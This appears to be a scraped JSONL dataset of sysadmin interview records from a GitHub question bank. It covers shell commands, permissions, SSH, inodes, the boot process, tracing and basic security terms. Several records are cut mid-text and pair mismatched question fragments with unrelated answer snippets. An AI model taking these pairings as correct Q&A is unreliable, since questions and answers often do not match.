**BSD** have different ideals that they implement. They are all POSIX, and are all basically interchangeable. They do solve some of the same problems in different ways. So other then ideals and how they choose to implement POSIX standards, there is little difference.\n\nFor more info I suggest your read a brief article on the creation of **GNU**, **OSS**, **Linux**, **BSD**, and **UNIX**. They will be slanted towards their individual ideas, but those articles should give you a better idea of the differences.\n\nUseful resources:\n\n- [What is the difference between Unix, Linux, BSD and GNU? (original)](https://unix.stackexchange.com/questions/104714/what-is-the-difference-between-unix-linux-bsd-and-gnu)\n- [The Great Debate: Is it Linux or GNU/Linux?](https://www.howtogeek.com/139287/the-great-debate-is-it-linux-or-gnulinux/)\nWhat is a CLI? Tell me about your favorite CLI tools, tips, and hacks.\n**CLI** is an acronym for Command Line Interface or Command Language Interpreter. The command line is one of the most powerful ways to control your system/computer.\n\nIn Unix like systems, **CLI** is the interface by which a user can type commands for the system to execute. The **CLI** is very powerful, but is not very error-tolerant.\n\nThe **CLI** allows you to do manipulations with your system’s internals and with code in a much more fine-tuned way. It offers greater flexibility and control than a GUI regardless of what OS is used. Many programs that you might want to use in your software that are hosted on say Github also require running some commands on the **CLI** in order to get them running.\n\n**My favorite tools**\n\n- `screen` - free terminal multiplexer, I can start a ses", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391710"}
{"id": "gh_d857dbd02f03", "question": "How to: It uses /var/run/utmp and /var/log/wtmp files to get the details.", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "who\n```\n\nFor extensive information, including username, terminal, IP number of the source computer, the time the login began, any idle time, process CPU cycles, job CPU cycles, and the currently running command, enter:\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391718"}
{"id": "gh_3a7e7854bd93", "question": "How to: It uses /var/run/utmp, and their processes /proc.", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "w\n```\n\nAlso important for displays a list of last logged in users, enter:\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391722"}
{"id": "gh_bfeafab5f3b6", "question": "How to: extract file", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "tar xf archive.tgz filename\n```\n\nUseful resources:\n\n- [List the contents of a tar or tar.gz file](https://www.cyberciti.biz/faq/list-the-contents-of-a-tar-or-targz-file/)\n- [How to extract specific file(s) from tar.gz](https://unix.stackexchange.com/questions/61461/how-to-extract-specific-files-from-tar-gz)\nExecute combine multiple shell commands in one line.\nIf you want to execute each command only if the previous one succeeded, then combine them using the `&&` operator:\n\n```bash\ncd /my_folder && rm *.jar && svn co path to repo && mvn compile package install\n```\n\nIf one of the commands fails, then all other commands following it won't be executed.\n\nIf you want to execute all commands regardless of whether the previous ones failed or not, separate them with semicolons:\n\n```bash\ncd /my_folder; rm *.jar; svn co path to repo; mvn compile package install\n```\n\nIn your case, I think you want the first case where execution of the next command depends on the success of the previous one.\n\nYou can also put all commands in a script and execute that instead:\n\n```bash\n#! /bin/sh\ncd /my_folder \\\n&& rm *.jar \\\n&& svn co path to repo \\\n&& mvn compile package install\n```\n\nUseful resources:\n\n- [Execute combine multiple linux commands in one line (original)](https://stackoverflow.com/questions/13077241/execute-combine-multiple-linux-commands-in-one-line)\nWhat symbolic representation can you pass to\n```\nchmod\n```\nto give all users execute access to a file without affecting other permissions?\n```bash\nchmod a+x /path/to/file\n```\n\n- `a` - for all users\n- `x` - for execution permission\n- `r` - for read permission\n- `w` - for write permission\n\nUseful resources:\n- [How to Set File Permissions Using chmod](https://www.washington.edu/computing/unix/permissions.html)\n- [What does \"chmod +x your_file_name\" do and how do I use it?](https://askubuntu.com/questions/443789/what-does-chmod-x-filename-do-and-how-do-i-use-it)\nHow can I sync two local directories?\nTo sync the contents of **dir1** to **dir2** on the same system, type:\n\n```bash\nrsync -av --progress --delete dir1/ dir2\n```\n\n- `-a`, `--archive` - archive mode\n- `--delete` - delete extraneous files from dest dirs\n- `-v`, `--verbose` - verbose mode (increase verbosity)\n- `--progress` - show progress during transfer\n\nUseful resources:\n\n- [How can I sync two local directories? (original](https://unix.stackexchange.com/questions/392536/how-can-i-sync-two-local-directories)\n- [Synchronizing folders with rsync](https://www.jveweb.net/en/archives/2010/11/synchronizing-folders-with-rsync.html)\nMany basic maintenance tasks require you to edit config files. Explain ways to undo the changes you make.\n- manually backup of a file before editing (with brace expansion like this: `cp filename{,.orig}`)\n- manual copy of the directory structure where file is stored (e.g. `cp`, `rsync` or `tar`)\n- make a backup of original file in your editor (e.g. set rules in your editor configuration file)\n- the best solution is to use `git` (or any other version control) to keep track of configuration files (e.g. `etckeeper` for `/etc` directory)\n\nUseful resources:\n\n- [Backup file with .bak before filename extension](https://unix.stackexchange.com/questions/66376/backup-file-with-bak-before-filename-extension)\n- [Is it a good idea to use git for configuration file version controlling?](https://superuser.com/questions/1037211/is-it-a-good-idea-to-use-git-for-configuration-file-version-controlling)\nYou have to find all files larger than 20MB. How you do it?\n```bash\nfind / -type f -size +20M\n```\n\nUseful resources:\n\n- [How can I find files that are bigger/smaller than x bytes?](https://superuser.com/questions/204564/how-can-i-find-files-that-are-bigger-smaller-than-x-bytes)\nWhy do we use\n```\nsudo su -\n```\nand not just\n```\nsudo su\n```\n?\n`sudo` is in most modern Linux distributions where (but not always) the root user is disabled and has no password set. Therefore you cannot switch to the root user with `su` (you can try). You have to call `sudo` with root privileges: `sudo su`.\n\n`su` just switches the user, providing a normal shell with an environment nearly the same as with the old user.\n\n`su -` invokes a login shell after switching the user. A login shell resets most environment variables, providing a clean base.\n\nUseful resources:\n\n- [su vs sudo -s vs sudo -i vs sudo bash](https://unix.stackexchange.com/questions/35338/su-vs-sudo-s-vs-sudo-i-vs-sudo-bash)\n- [Why do we use su - and not just su? (original)](https://unix.stackexchange.com/questions/7013/why-do-we-use-su-and-not-just-su)\nHow to find files that have been modified on your system in the pas", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391800"}
{"id": "gh_caebc11f77ec", "question": "How to: with nc (netcat) command:", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "nc -vz code42.example.com 5432\n```\nWhy should you avoid\n```\ntelnet\n```\nto administer a system remotely?\nModern operating systems have turned off all potentially insecure services by default. On the other hand, some vendors of network devices still allow to establish communication using the telnet protocol.\n\n**Telnet** uses most insecure method for communication. It sends data across the network in plain text format and anybody can easily find out the password using the network tool.\n\nIn the case of **Telnet**, these include the passing of login credentials in plain text, which means anyone running a sniffer on your network can find the information he needs to take control of a device in a few seconds by eavesdropping on a **Telnet** login session.\n\nUseful resources:\n\n- [Telnet and SSH as a secure alternative](https://www.ssh.com/ssh/telnet)\n- [How to telnet to an IP address on a specific port?](https://superuser.com/questions/339107/how-to-telnet-to-an-ip-address-on-a-specific-port)\nWhat is the difference between\n```\nwget\n```\nand\n```\ncurl\n```\n?\nThe main differences are: `wget's` major strong side compared to `curl` is its ability to download recursively. `wget` is command line only. `curl` supports FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS, FILE, POP3, IMAP, SMTP, RTMP and RTSP.\n\nUseful resources:\n\n- [What is the difference between curl and wget? (original)](https://unix.stackexchange.com/questions/47434/what-is-the-difference-between-curl-and-wget)\nWhat is SSH and how does it work?\n**SSH** stands for **Secure Shell**. It is a protocol that lets you drop from a server \"A\" into a shell session to a server \"B\". It allows you interact with your server \"B\".\n\nAn **SSH** connection to be established, the remote machine (server A) must be running a piece of software called an **SSH** daemon and the user's computer (server B) must have an **SSH** client.\n\nThe **SSH** daemon and **SSH** client listen for connections on a specific network port (default 22), authenticates connection requests, and spawns the appropriate environment if the user provides the correct credentials.\n\nUseful resources:\n\n- [Understanding the SSH Encryption and Connection Process](https://www.digitalocean.com/community/tutorials/understanding-the-ssh-encryption-and-connection-process)\nMost tutorials suggest using SSH key authentication rather than password authentication. Why it is considered more secure?\nAn **SSH key** is an access credential in the SSH protocol. Its function is similar to that of user names and passwords, but the keys are primarily used for automated processes and for implementing single sign-on by system administrators and power users.\n\nInstead of requiring a user's password, it is possible to confirm the client's identity by using asymmetric cryptography algorithms, with public and private keys.\n\nIf your SSH service only allows public-key authentication, an attacker needs a copy of a private key corresponding to a public key stored on the server.\n\nIf your SSH service allows password based authentication, then your Internet connected SSH server will be hammered day and night by bot-nets trying to guess user-names and passwords. The bot net needs no information, it can just try popular names and popular passwords. Apart from anything else this clogs your logs.\n\nUseful resources:\n\n- [Key-Based Authentication (Public Key Authentication)](http://www.crypto-it.net/eng/tools/key-based-authentication.html)\n- [SSH password vs. key authentication](https://security.stackexchange.com/questions/33381/ssh-password-vs-key-authentication)\nWhat is a packet filter and how does it work?\n**Packet filtering** is a firewall technique used to control network access by monitoring outgoing and incoming packets and allowing them to pass or halt based on the source and destination Internet Protocol (IP) addresses, protocols and ports.\n\nPacket filtering is appropriate where there are modest security requirements. The internal (private) networks of many organizations are not highly segmented. Highly sophisticated firewalls are not necessary for isolating one part of the organization from another.\n\nHowever it is prudent to provide some sort of protection of the production network from a lab or experimental network. A packet filtering device is a very appropriate measure for providing isolation of one subnet from another.\n\nOperating at the network layer and transport layer of the TCP/IP protocol stack, every packet is examined as it enters the protocol stack. The network and transport headers are examined closely for the following information:\n\n- **protocol (IP header, network layer)** - in the IP header, byte 9 (remember the byte count begins with ze", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391851"}
{"id": "gh_622ae6741bb5", "question": "How to: :diamond_shape_with_a_dot_inside: <a name=\"regular-sysadmin\">Regular Sysadmin</a>", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "###### System Questions (60)\nTell me about your experience with the production environments? ***\nTo be completed.\nWhich distribution would you select for running a major web server? ***\nTo be completed.\nExplain in a few points the boot process of the Linux system.\n**BIOS**: Full form of BIOS is Basic Input or Output System that performs integrity checks and it will search and load and then it will execute the bootloader.\n\n**Bootloader**: Since the earlier phases are not specific to the operating system, the BIOS-based boot process for x86 and x86-64 architectures is considered to start when the master boot record (MBR) code is executed in real mode and the first-stage boot loader is loaded. In UEFI systems, a payload, such as the Linux kernel, can be executed directly. Thus no boot loader is necessary. Some popular bootloaders: **GRUB**, **Syslinux/Isolinux** or **Lilo**.\n\n**Kernel**: The kernel in Linux handles all operating system processes, such as memory management, task scheduling, I/O, interprocess communication, and overall system control. This is loaded in two stages - in the first stage, the kernel (as a compressed image file) is loaded into memory and decompressed, and a few fundamental functions such as basic memory management are set up.\n\n**Init**: Is the parent of all processes on the system, it is executed by the kernel and is responsible for starting all other processes.\n\n- `SysV init` - init's job is \"to get everything running the way it should be once the kernel is fully running. Essentially it establishes and operates the entire user space. This includes checking and mounting file systems, starting up necessary user services, and ultimately switching to a user-environment when system startup is completed.\n- `systemd` - the developers of systemd aimed to replace the Linux init system inherited from Unix System V. Like init, systemd is a daemon that manages other daemons. All daemons, including systemd, are background processes. Systemd is the first daemon to start (during booting) and the last daemon to terminate (during shutdown).\n- `runinit` - runinit is an init scheme for Unix-like operating systems that initializes, supervises, and ends processes throughout the operating system. It is a reimplementation of the daemontools process supervision toolkit that runs on the Linux, Mac OS X, \\*BSD, and Solaris operating systems.\n\nUseful resources:\n\n- [Analyzing the Linux boot process](https://opensource.com/article/18/1/analyzing-linux-boot-process)\n- [Systemd Boot Process a Close Look in Linux](https://linoxide.com/linux-how-to/systemd-boot-process/)\nHow and why Linux daemons drop privileges? Why some daemons need root permissions to start? Explain. ***\nTo be completed.\nWhy is a load of 1.00 not ideal on a single-core machine?\nThe problem with a load of 1.00 is that you have no headroom. In practice, many sysadmins will draw a line at 0.70.\n\nThe \"Need to Look into it\" Rule of Thumb: 0.70 If your load average is staying above > 0.70, it's time to investigate before things get worse.\n\nThe \"Fix this now\" Rule of Thumb: 1.00. If your load average stays above 1.00, find the problem and fix it now. Otherwise, you're going to get woken up in the middle of the night, and it's not going to be fun.\n\nRule of Thumb: 5.0. If your load average is above 5.00, you could be in serious trouble, your box is either hanging or slowing way down, and this will (inexplicably) happen in the worst possible time like in the middle of the night or when you're presenting at a conference. Don't let it get there.\n\nUseful resources:\n\n- [Proper way of interpreting system load on a 4 core 8 thread processor](https://serverfault.com/questions/618130/proper-way-of-interpreting-system-load-on-a-4-core-8-thread-processor)\n- [Understanding Linux CPU Load - when should you be worried?](http://blog.scoutapp.com/articles/2009/07/31/understanding-load-averages)\nWhat does it mean when the effective user is root, but the real user ID is still your name?\nThe **real user ID** is who you really are (the user who owns the process), and the **effective user ID** is what the operating system looks at to make a decision whether or not you are allowed to do something (most of the time, there are some exceptions).\n\nWhen you log in, the login shell sets both the **real and effective user ID** to the same value (your **real user ID**) as supplied by the password file.\n\nIf, for instance, you execute setuid, and besides running as another user (e.g. **root**) the setuid program is also supposed to do something on your behalf.\n\nAfter executing setuid, it will have your **real ID** (since you're the process owner) and the effective user id of the file", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391900"}
{"id": "gh_13c56523d47c", "question": "How to: For web server", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "setfacl -Rdm \"g:apache:rwx\" /var/www/app01\nsetfacl -Rm \"g:apache:rwx\" /var/www/app01", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 11401, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391909"}
{"id": "gh_0381b00d8bbd", "question": "How to: For developers", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "setfacl -Rdm \"g:g01-prod:rwx\" /var/www/app01\nsetfacl -Rm \"g:g01-prod:rwx\" /var/www/app01\n```\n\nIf you use **SELinux** remember about security context:\n\n```bash\nchcon -R system_u:object_r:httpd_sys_content_t /var/www/app01\n```\n\n**7) Security mistakes**\n\n- **root** owner for files and directories\n- **root** never executes any files in website directory, and shouldn't be creating files in there\n- to wide permissions like a **777** so some critical files may be world-writable and world-readable\n- avoid creating maintenance scripts or other critical files with suid root\n\nIf you allow your site to modify the files which form the code running your site, you make it much easier for someone to take over your server.\n\nA file upload tool allows users to upload a file with any name and any contents. This allows a user to upload a mail relay PHP script to your site, which they can place wherever they want to turn your server into a machine to forward unsolicited commercial email. This script could also be used to read every email address out of your database, or other personal information.\n\nIf the malicious user can upload a file with any name but not control the contents, then they could easily upload a file which overwrites your `index.php` (or another critical file) and breaks your site.\n\nUseful resources:\n\n- [How to setup linux permissions for the WWW folder?](https://serverfault.com/questions/124800/how-to-setup-linux-permissions-for-the-www-folder)\n- [What permissions should my website files/folders have on a Linux webserver?](https://serverfault.com/questions/357108/what-permissions-should-my-website-files-folders-have-on-a-linux-webserver)\n- [Security Pitfalls of setgid Programs](https://www.agwa.name/blog/post/security_pitfalls_of_setgid_programs)\nWhat steps will be taken by init when you run\n```\ntelinit 1\n```\nfrom run level 3? What will be the final result of this? If you use\n```\ntelinit 6\n```\ninstead of\n```\nreboot\n```\ncommand your server will be restarted? ***\nTo be completed.\n\nUseful resources:\n\n- [What differences it will make, if i use “telinit 6” instead of “reboot” command to restart my computer?](https://unix.stackexchange.com/questions/434560/what-differences-it-will-make-if-i-use-telinit-6-instead-of-reboot-command)\nI have forgotten the root password! What do I do in BSD? What is the purpose of booting into single user mode?\nRestart the system, type `boot -s` at the `Boot:` prompt to enter **single-user mode**.\n\nAt the question about the shell to use, hit `Enter` which will display a `#` prompt.\n\nEnter `mount -urw /` to remount the root file system read/write, then run `mount -a` to remount all the file systems.\n\nRun `passwd root` to change the root password then run `exit` to continue booting.\n\n**Single user mode** should basically let you log in with root access & change just about anything. For example, you might use single-user mode when you are restoring a damaged master database or a system database, or when you are changing server configuration options (e.g. password recovery).\n\nUseful resources:\n\n- [FreeBSD Reset or Recover Root Password](https://www.cyberciti.biz/tips/howto-freebsd-reset-recover-root-password.html)\n- [Single User Mode Definition](http://www.linfo.org/single_user_mode.html)\nHow could you modify a text file without invoking a text editor?\nFor example:\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.391920"}
{"id": "gh_e900f49c43a7", "question": "How to: cat >>filename ... - append to file", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "cat > filename << __EOF__\ndata\n__EOF__\n```\nHow to change the kernel parameters? What kernel options might you need to tune? ***\nTo set the kernel parameters in Unix-like, first edit the file `/etc/sysctl.conf` after making the changes save the file and run the command `sysctl -p`, this command will make the changes permanently without rebooting the machine.\n\nUseful resources:\n\n- [How to Change Kernel Runtime Parameters in a Persistent and Non-Persistent Way](https://www.tecmint.com/change-modify-linux-kernel-runtime-parameters/)\nExplain the\n```\n/proc\n```\nfilesystem.\n`/proc` is a virtual file system that provides detailed information about kernel, hardware and running processes.\n\nSince `/proc` contains virtual files, it is called virtual file system. These virtual files have unique qualities. Most of them are listed as zero bytes in size.\n\nVirtual files such as `/proc/interrupts`, `/proc/meminfo`, `/proc/mounts` and `/proc/partitions` provide an up-to-the-moment glimpse of the system’s hardware. Others: `/proc/filesystems` file and the `/proc/sys/` directory provide system configuration information and interfaces.\n\nUseful resources:\n\n- [Linux Filesystem Hierarchy - /proc](https://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/proc.html)\nDescribe your data backup process. How often should you test your backups? ***\nTo be completed.\nExplain three types of journaling in ext3/ext4.\nThere are three types of journaling available in **ext3/ext4** file systems:\n\n- **Journal** - metadata and content are saved in the journal\n- **Ordered** - only metadata is saved in the journal. Metadata are  journaled only after writing the content to disk. This is the default\n- **Writeback** - only metadata is saved in the journal. Metadata might be  journaled either before or after the content is written to the disk\nWhat is an inode? How to find file's inode number and how can you use it?\nAn **inode** is a data structure on a filesystem on Linux and other Unix-like operating systems that stores all the information about a file except its name and its actual data. A data structure is a way of storing data so that it can be used efficiently.\n\nA Unix file is stored in two different parts of the disk - the data blocks and the inodes. I won't get into superblocks and other esoteric information. The data blocks contain the \"contents\" of the file. The information about the file is stored elsewhere - in the inode.\n\nA file's inode number can easily be found by using the `ls` command, which by default lists the objects (i.e. files, links and directories) in the current directory (i.e. the directory in which the user is currently working), with its `-i` option. Thus, for example, the following will show the name of each object in the current directory together with its inode number:\n\n```bash\nls -i\n```\n\n`df's` `-i` option instructs it to supply information about inodes on each filesystem rather than about available space. Specifically, it tells df to return for each mounted filesystem the total number of inodes, the number of free inodes, the number of used inodes and the percentage of inodes used. This option can be used together with the `-h` option as follows to make the output easier to read:\n\n```bash\ndf -hi\n```\n\n**Finding files by inodes**\n\nIf you know the inode, you can find it using the find command:\n\n```bash\nfind . -inum 435304 -print\n```\n\n**Deleting files with strange names**\n\nSometimes files are created with strange characters in the filename. The Unix file system will allow any character as part of a filename except for a null (ASCII 000) or a \"/\". Every other character is allowed.\n\nUsers can create files with characters that make it difficult to see the directory or file. They can create the directory \".. \" with a space at the end, or create a file that has a backspace in the name, using:\n\n```bash\ntouch `printf \"aa\\bb\"`\n```\n\nNow what what happens when you use the `ls` command:\n\n```bash\nls\naa?b\nls | grep 'a'\nab\n```\n\nNote that when `ls` sends the result to a terminal, it places a \"**?**\" in the filename to show an unprintable character.\n\nYou can get rid of this file by using `rm -i *` and it will prompt you before it deletes each file. But you can also use `find` to remove the file, once you know the inode number.\n\n```bash\nls -i\n435304 aa?b\nfind . -inum 435304 -delete\n```\n\nUseful resources:\n\n- [Understand UNIX/Linux Inodes Basics with Examples](https://www.thegeekstuff.com/2012/01/linux-inodes/)\n- [What is an inode as defined by POSIX?](https://unix.stackexchange.com/questions/387087/what-is-an-inode-as-defined-by-posix/387093)\n```\nls -l\n```\nshows file attributes as question marks. What this means and what steps will you t", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392010"}
{"id": "gh_aefff0b3c8a4", "question": "How to: With -j8 - performance optimization", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "git clone --recurse-submodules -j8 git://github.com/foo/bar.git", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 11401, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392081"}
{"id": "gh_70fe843af9e8", "question": "How to: For already cloned repos or older Git versions", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "git clone git://github.com/foo/bar.git\ncd bar\ngit submodule update --init --recursive\n```\nMention what are the advantages of using Redis? What is\n```\nredis-cli\n```\n?\n- it provides high speed (exceptionally faster than others)\n- it supports a server-side locking\n- it has got lots of client lib\n- it has got command level Atomic Operation (tx operation)\n- supports for rich data types like hashes, sets, bitmaps\n\n`redis-cli` is the **Redis** command line interface, a simple program that allows to send commands to **Redis**, and read the replies sent by the server, directly from the terminal.\n\nUseful resources:\n\n- [10 Advantages of Redis](https://dzone.com/articles/10-traits-of-redis)\n###### Cyber Security Questions (4)\nWhat is XSS, how will you mitigate it?\n**Cross Site Scripting** is a JavaScript vulnerability in the web applications. The easiest way to explain this is a case when a user enters a script in the client side input fields and that input gets processed without getting validated. This leads to untrusted data getting saved and executed on the client side.\n\nCountermeasures of XSS are input validation, implementing a CSP (Content security policy) and other.\nHIDS vs NIDS and which one is better and why?\n**HIDS** is host intrusion detection system and **NIDS** is network intrusion detection system. Both the systems work on the similar lines. It’s just that the placement in different. **HIDS** is placed on each host whereas **NIDS** is placed in the network. For an enterprise, **NIDS** is preferred as **HIDS** is difficult to manage, plus it consumes processing power of the host as well.\nWhat is compliance?\nAbiding by a set of standards set by a government/Independent party/organisation, e.g. an industry which stores, processes or transmits Payment related information needs to be complied with PCI DSS (Payment card Industry Data Security Standard). Other compliance examples can be an organisation complying with its own policies.\nWhat is a WAF and what are its types?\n**WAF** stands for web application firewall. It is used to protect the application by filtering legitimate traffic from malicious traffic. **WAF** can be either a box type or cloud based.", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392096"}
{"id": "gh_1849f290144e", "question": "How to: :diamond_shape_with_a_dot_inside: <a name=\"senior-sysadmin\">Senior Sysadmin</a>", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "###### System Questions (61)\nExplain the current architecture you’re responsible for and point out where it’s scalable or fault-tolerant. ***\nTo be completed.\nTell me how code gets deployed in your current production. ***\nTo be completed.\nWhat are the different types of kernels? Explain.\n**Monolithic Kernels**\n\nEarlier in this type of kernel architecture, all the basic system services like a process and memory management, interrupt handling etc were packaged into a single module in kernel space. This type of architecture led to some serious drawbacks like:\n\n- the size of the kernel, which was huge\n- poor maintainability, which means bug fixing or addition of new features resulted in recompilation of the whole kernel which could consume hours\n\nIn a modern day approach to monolithic architecture, the kernel consists of different modules which can be dynamically loaded and unloaded. This modular approach allows easy extension of OS's capabilities. With this approach, maintainability of kernel became very easy as only the concerned module needs to be loaded and unloaded every time there is a change or bug fix in a particular module.\n\nLinux follows the monolithic modular approach.\n\n**Microkernels**\n\nThis architecture majorly caters to the problem of ever growing size of kernel code which we could not control in the monolithic approach. This architecture allows some basic services like device driver management, protocol stack, file system etc to run in user space.\n\nIn this architecture, all the basic OS services which are made part of user space are made to run as servers which are used by other programs in the system through inter process communication (IPC).\n\nExample: We have servers for device drivers, network protocol stacks, file systems, graphics, etc. Microkernel servers are essentially daemon programs like any others, except that the kernel grants some of them privileges to interact with parts of physical memory that are otherwise off limits to most programs.\n\n**Hybrid Kernels (Modular Kernels)**\n\nThis is a combination of the above two, where the key idea is that Operating System services are in Kernel Space, and there is no message passing, no performance overhead and no reliability benefits, of having services in user space.\n\nThis is used by Microsoft's NT kernels, all the way up to the latest Windows version.\n\nUseful resources:\n\n- [An Introduction to Kernels. The Heart of Computing Devices. (original)](https://keetmalin.wixsite.com/keetmalin/single-post/2017/08/24/An-Introduction-to-Kernels-The-Heart-of-Computing-Devices)\nThe program returns the error of the missing library. How to provide dynamically linkable libraries?\nEnvironment variable `LD_LIBRARY_PATH` is a colon-separated set of directories where libraries should be searched for first, before the standard set of directories; this is useful when debugging a new library or using a nonstandard library for special purposes.\n\nThe best way to use `LD_LIBRARY_PATH` is to set it on the command line or script immediately before executing the program. This way the new `LD_LIBRARY_PATH` isolated from the rest of your system.\n\nExample of use:\n\n```bash\nexport LD_LIBRARY_PATH=\"/list/of/library/paths:/another/path\" ./program\n```\n\nUseful resources:\n\n- [How to correctly use LD_LIBRARY_PATH](http://wiredrevolution.com/system-administration/how-to-correctly-use-ld_library_path)\nWrite the most important rules for using root privileges safely for novice administrators. ***\nTo be completed.\nWhat is the advantage of synchronizing UID/GID across multiple systems?\nThere are several principle reasons why you want to co-ordinate the **user/UID** and **group/GID** management across your network.\n\nThe first is relatively obvious - it has to do with user and administrative convenience.\n\nIf each of your users are expected to have relatively uniform access to the systems throughout the network, then they'll expect the same username and password to work on each system that they are supposed to use. If they change their password they will expect that change to be global.\n\nIt also has a relationship with names and group names in Unix and Linux. They are mapped into numeric forms (**UID's** and **GID's** respectively). All file ownership (inodes) and processes use these numerics for all access and identity determination throughout the kernel and drivers. These numeric values are reverse mapped back to their corresponding principle symbolic representations (the names) by the utilities that display or process that information.\n\nIt is also recommended that you adopt a policy that **UID's** are not re-used. When a user leaves your organization you \"retire\" their **UID** (disabl", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392185"}
{"id": "gh_8ac96a623328", "question": "How to: Stop tracing.", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "echo 0 > \"${d}/tracing_on\"\n\numount debug\n```\n\nSample output:\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392202"}
{"id": "gh_a9b1fdd860ea", "question": "How to: | |       |   ||||       |         |", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "mkdir-5619  [005] .... 10249.262531: sys_mkdir(pathname: 7fff93cbfcb0, mode: 1ff)\n            mkdir-5620  [003] .... 10249.264613: sys_mkdir(pathname: 7ffcdc91ecb0, mode: 1ff)\n```\n\nOne cool thing about this method is that it shows the function call for all processes on the system at once, although you can also filter PIDs of interest with `set_ftrace_pid`.\n\nUseful resources:\n\n- [How do I trace a system call in Linux? (original)](https://stackoverflow.com/questions/29840213/how-do-i-trace-a-system-call-in-linux)\n- [Does ftrace allow capture of system call arguments to the Linux kernel, or only function names?](https://stackoverflow.com/questions/27608752/does-ftrace-allow-capture-of-system-call-arguments-to-the-linux-kernel-or-only)\n- [How to trace just system call events with ftrace without showing any other functions in the Linux kernel?](https://stackoverflow.com/questions/52764544/how-to-trace-just-system-call-events-with-ftrace-without-showing-any-other-funct)\n- [What system call is used to load libraries in Linux?](https://unix.stackexchange.com/questions/226524/what-system-call-is-used-to-load-libraries-in-linux)\nHow to remove all files except some from a directory?\nSolution 1 - with `extglob`:\n\n```bash\nshopt -s extglob\nrm !(textfile.txt|backup.tar.gz|script.php|database.sql|info.txt)\n```\n\nSolution 2 - with `find`:\n\n```bash\nfind . -type f -not -name '*txt' -print0 | xargs -0 rm --\n```\nHow to check if a string contains a substring in Bash?\nYou can use `*` (wildcards) outside a case statement, too, if you use double brackets:\n\n```bash\nstring='some text'\nif [[ $string = *\"My long\"* ]] ; then\n  true\nfi\n```\nExplain differences between\n```\n2>&-\n```\n,\n```\n2>/dev/null\n```\n,\n```\n|&\n```\n,\n```\n&>/dev/null\n```\n, and\n```\n>/dev/null 2>&1\n```\n.\n- a **number 1** = standard out (i.e. `STDOUT`)\n- a **number 2** = standard error (i.e. `STDERR`)\n- if a number isn't explicitly given, then **number 1** is assumed by the shell (bash)\n\nFirst let's tackle the function of these.\n\n`2>&-`\n\nThe general form of this one is `M>&-`, where **\"M\"** is a file descriptor number. This will close output for whichever file descriptor is referenced, i.e. **\"M\"**.\n\n`2>/dev/null`\n\nThe general form of this one is `M>/dev/null`, where **\"M\"** is a file descriptor number. This will redirect the file descriptor, **\"M\"**, to 